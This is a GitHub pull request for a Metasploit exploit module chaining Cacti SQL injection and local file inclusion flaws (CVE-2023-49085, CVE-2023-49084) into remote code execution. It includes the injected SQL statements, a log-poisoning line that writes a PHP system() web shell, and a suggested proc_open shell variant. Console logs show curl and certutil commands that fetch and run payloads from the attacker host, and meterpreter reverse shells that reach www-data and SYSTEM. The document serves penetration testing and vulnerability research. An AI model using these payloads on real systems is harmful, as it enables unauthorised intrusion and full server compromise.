Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cacti RCE via SQLi (CVE-2023-49085) and LFI (CVE-2023-49084) #18769

Merged
merged 5 commits into from
Feb 2, 2024

Conversation

cdelafuente-r7
Copy link
Contributor

Vulnerable Application

This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (pollers.php). This is granted by setting the Sites/Devices/Data permission in the General Administration section.

The module implements a check method that makes sure pollers.php is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the fix added in version 1.2.25.

The exploit will do the following:

  • Login with the provided credentials
  • Perform a serie of SQL injections to:
    • backup the current log file path and add a new path to the settings table
    • insert the new log file path to the External Links table (external_links)
    • add permission to access this external link to the current user (user_auth_realm)
    • Poison the log file to add the payload stager
  • Trigger the payload by accessing the external link page (link.php)
  • Cleanup the SQL tables that were modified to their original states
  • Remove the new log file that contains the stager

Installation

See module documentation for step-by-step installation instructions on Linux (via Docker) and on Windows.

Setup a new user

  • Login with the admin user (password: admin)
  • Go to Configuration > Users
  • Click on the + sign
  • Enter the User Name, Password and check the Enabled option.
  • Click Create
  • Go to the Permissions tab and set the Sites/Devices/Data permission in General Administration
  • Click Save

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/cacti_pollers_sqli_rce
  4. Do: set target <target>
  5. Do: set payload <payload>
  6. Do: run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>
  7. You should get a shell.

Scenarios

Cacti version 1.2.25 on Docker installation

msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0
target => 0
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678

[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.25
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table
[*] Inserting the log file path `log/cacti520.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (3045380 bytes) to 192.168.144.1
[*] Cleaning up log file
[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.25.0.3
OS           : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Cacti version 1.2.24 on Windows 11

msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1
target => 1
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678

[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.24
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table
[*] Inserting the log file path `log/cacti715.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (200774 bytes) to 192.168.144.134
[*] Cleaning up log file
[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-26CQRHP
OS              : Windows 11 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

Comment on lines +89 to +97
'name' => 'Main Poller',
'hostname' => 'localhost',
'timezone' => '',
'notes' => '',
'processes' => '1',
'threads' => '1',
'id' => '2',
'save_component_poller' => '1',
'action' => 'save',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could those values be randomized?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think only name could be randomized, since the other values are needed to trigger the SQLi. However, Main Poller is the default value provided by the application itself. Changing it to something different might be to suspicious for any administrator looking at the list of Collectors.

Screenshot 2024-01-31 at 10 47 20

Comment on lines 172 to 181
# Step 1 - Check if the target is Cacti
html = res.get_html_document
# This will return an empty string if there is no match
version_str = html.xpath('//div[@class="versionInfo"]').text
return CheckCode::Safe('The web server is not running Cacti') unless version_str.include?('The Cacti Group')

# Step 2 - Check the version
unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)
return CheckCode::Unknown('Could not detect the version')
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This code is duplicate with do_login, you might want to factorise it into a get_version(html) function

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think do_login can be reused for this as it is right now. The only duplicate code are the regex matching parts. do_login does not check if the target is really Cacti and tries to login anyway. Also, because it's in the check method, we want to return a CheckCode that describe the root cause of a failure.

I can still add some logic to do_login to make it compatible with the check method requirements. However, I think it would complicate the code and probably increase its size. If you think it is worth it, I'm fine with changing this, no problem.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I did mean the regex-matching part :)
So that it'd be easy to extract it to a mixin once another cacti vuln drops :P

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I addressed this in 5054b3b


print_status('Poisoning the log')
header_name = rand_text_alpha(1).upcase
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

cacti uses proc_open instead of system (meaning that the later could be disabled, while the former can't), so depending whether size of portability is prioritized, something like this could be used instead:

Suggested change
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")
phpshell = "$h=proc_open($_SERVER['HTTP_#{header_name}'],array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$p); $ret='';while(!feof($p[1])){$ret.=fread($p[1],1024);}@proc_close($h);echo $ret;'
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'<?#{phpshell};?>',CHAR(126)),null)")

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's a very good point. Unfortunately, the payload is truncated after 32 characters before being written to the log file. So, we are very limited in size and this payload was the smallest I found.

sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")
@do_perms_cleanup = true

print_status('Logging again to apply new settings and permissions')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this should be Logging in again...

Suggested change
print_status('Logging again to apply new settings and permissions')
print_status('Logging in again to apply new settings and permissions')

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good catch, thanks! Addressed in 81eba7a

Comment on lines 342 to 343
print_status('Cleaning up log file')
session.run_cmd("rm #{@log_file_path}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we could leverage the FileDropper mixin to clean this file up.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, absolutely! Addressed in 81eba7a

@jheysel-r7 jheysel-r7 self-assigned this Feb 1, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Well written module @cdelafuente-r7 👏 Just a couple very minor comments. Testing was as expected:

Cacti 1.2.22 running in Docker:

msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run

[*] Command to run on remote host: curl -so ./LssHElUWaUE http://172.16.199.1:8080/Hn-8qIL46e0vZdQpIHPToA; chmod +x ./LssHElUWaUE; ./LssHElUWaUE &
[*] Fetch Handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /Hn-8qIL46e0vZdQpIHPToA
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.22
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti884.log) to the `settings` table
[*] {SQLi} Executing (;update settings set name='_path_cactilog' where name='path_cactilog')
[*] {SQLi} Executing (;insert into settings (name,value) values ('path_cactilog','log/cacti884.log'))
[*] Inserting the log file path `log/cacti884.log` to the external links table
[*] {SQLi} Executing (if(id,sleep(3.0),null) from external_links where id=1085)
[+] Got external link ID 1085
[*] {SQLi} Executing (;insert into external_links (id,sortorder,enabled,contentfile,title,style) values (1085,2,'on','../../log/cacti884.log','Log-31317','CONSOLE'))
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] {SQLi} Executing (select id from user_auth where username='admin')
[*] {SQLi} Time-based injection: expecting output of length 1
[*] {SQLi} Executing (;insert into user_auth_realm (realm_id,user_id) values (11085,1))
[*] Logging in again to apply new settings and permissions
[*] Getting the CSRF token to login
[+] CSRF token: sid:9a4f08264ae15bbf4bf2479a63b6b6b3ad2b711c,1706812080;ip:d19a0af3956b3952aff424d732bcb63c45c077d6,1706812080
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[*] Poisoning the log
[*] {SQLi} Executing ( and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\'HTTP_G\']);?>',CHAR(126)),null))
[*] Triggering the payload
[*] Client 172.16.199.1 requested /Hn-8qIL46e0vZdQpIHPToA
[*] Sending payload to 172.16.199.1 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.16.199.1
[+] Deleted log/cacti884.log
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:62414) at 2024-02-01 13:28:01 -0500
[*] Cleaning up external link using SQLi
[*] {SQLi} Executing (;delete from external_links where id=1085)
[*] Cleaning up permissions using SQLi
[*] {SQLi} Executing (;delete from user_auth_realm where realm_id=11085)
[*] Cleaning up the log path in `settings` table using SQLi
[*] {SQLi} Executing (;delete from settings where name='path_cactilog' and value='log/cacti884.log')
[*] {SQLi} Executing (;update settings set name='path_cactilog' where name='_path_cactilog')

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.28.0.3
OS           : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > bg
[*] Backgrounding session 1...

Cacti 1.2.24 running on Windows 11

msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run

[*] Command to run on remote host: certutil -urlcache -f http://172.16.199.1:8080/-LHoYC22ccefBZaLFchCEQ %TEMP%\LGWOOoInFni.exe & start /B %TEMP%\LGWOOoInFni.exe
[*] Fetch Handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /-LHoYC22ccefBZaLFchCEQ
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.24
[*] Attempting login with user `admin` and password `lGfe1ags36`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti989.log) to the `settings` table
[*] {SQLi} Executing (;update settings set name='_path_cactilog' where name='path_cactilog')
[*] {SQLi} Executing (;insert into settings (name,value) values ('path_cactilog','log/cacti989.log'))
[*] Inserting the log file path `log/cacti989.log` to the external links table
[*] {SQLi} Executing (if(id,sleep(3.0),null) from external_links where id=3270)
[+] Got external link ID 3270
[*] {SQLi} Executing (;insert into external_links (id,sortorder,enabled,contentfile,title,style) values (3270,2,'on','../../log/cacti989.log','Log-5394','CONSOLE'))
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] {SQLi} Executing (select id from user_auth where username='admin')
[*] {SQLi} Time-based injection: expecting output of length 1
[*] {SQLi} Executing (;insert into user_auth_realm (realm_id,user_id) values (13270,1))
[*] Logging in again to apply new settings and permissions
[*] Getting the CSRF token to login
[+] CSRF token: sid:a1e797e01cb06e4eaaddb8c2fb384afba092b760,1706814941;ip:1c0d1fedeb22016346dfec2ffc560b0af7196634,1706814941
[*] Attempting login with user `admin` and password `lGfe1ags36`
[+] Logged in
[*] Poisoning the log
[*] {SQLi} Executing ( and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\'HTTP_L\']);?>',CHAR(126)),null))
[*] Triggering the payload
[*] Client 172.16.199.134 requested /-LHoYC22ccefBZaLFchCEQ
[*] Sending payload to 172.16.199.134 (Microsoft-CryptoAPI/10.0)
[*] Client 172.16.199.134 requested /-LHoYC22ccefBZaLFchCEQ
[*] Sending payload to 172.16.199.134 (CertUtil URL Agent)
[*] Sending stage (201798 bytes) to 172.16.199.134
[+] Deleted log/cacti989.log
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.134:50571) at 2024-02-01 14:15:45 -0500
[*] Cleaning up external link using SQLi
[*] {SQLi} Executing (;delete from external_links where id=3270)
[*] Cleaning up permissions using SQLi
[*] {SQLi} Executing (;delete from user_auth_realm where realm_id=13270)
[*] Cleaning up the log path in `settings` table using SQLi
[*] {SQLi} Executing (;delete from settings where name='path_cactilog' and value='log/cacti989.log')
[*] {SQLi} Executing (;update settings set name='path_cactilog' where name='_path_cactilog')

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MSFDEVICE
OS              : Windows 11 (10.0 Build 22000).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >


The exploit will do the following:
- Login with the provided credentials
- Perform a serie of SQL injections to:
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
- Perform a serie of SQL injections to:
- Perform a series of SQL injections to:

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good catch! Thanks!

@@ -0,0 +1,244 @@
## Vulnerable Application

This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor nitpick. This would also work: leverages SQLi (CVE-2023-49085) and LFI (CVE-2023-49084) vulnerabilities

Suggested change
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.

'Name' => 'Cacti RCE via SQLi in pollers.php',
'Description' => %q{
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
(CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
(CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to



### Cacti on Windows
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for including this! 🙇 Details like these make installation nice and easy.

The admin password should be put in a file called Cacti-Passwords.txt by the installer, which is in the same location the installer was run.

html.xpath('//form/input[@name="__csrf_magic"]/@value').text
end

def do_login
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Another super nit pick but because this method returns a boolean value I think it might be better named something like login_successful? (not a blocker).

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's actually a very good point. I decided to change this and use exceptions instead of returning a boolean. So the method name stay the same and error handling is cleaner.

Thank you for the review!

@jheysel-r7
Copy link
Contributor

Retested with the improved error handing / typo fixes. Looking good, cleared to land 🛩️

msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run

[*] Started reverse TCP handler on 192.168.1.78:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.22
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti71.log) to the `settings` table
[*] Inserting the log file path `log/cacti71.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging in again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (3045380 bytes) to 192.168.1.78
[+] Deleted log/cacti71.log
[*] Meterpreter session 1 opened (192.168.1.78:4444 -> 192.168.1.78:64459) at 2024-02-02 11:38:06 -0500
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 172.28.0.3
OS           : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@jheysel-r7 jheysel-r7 merged commit 85974d1 into rapid7:master Feb 2, 2024
34 checks passed
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 2, 2024
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds an exploit module which leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants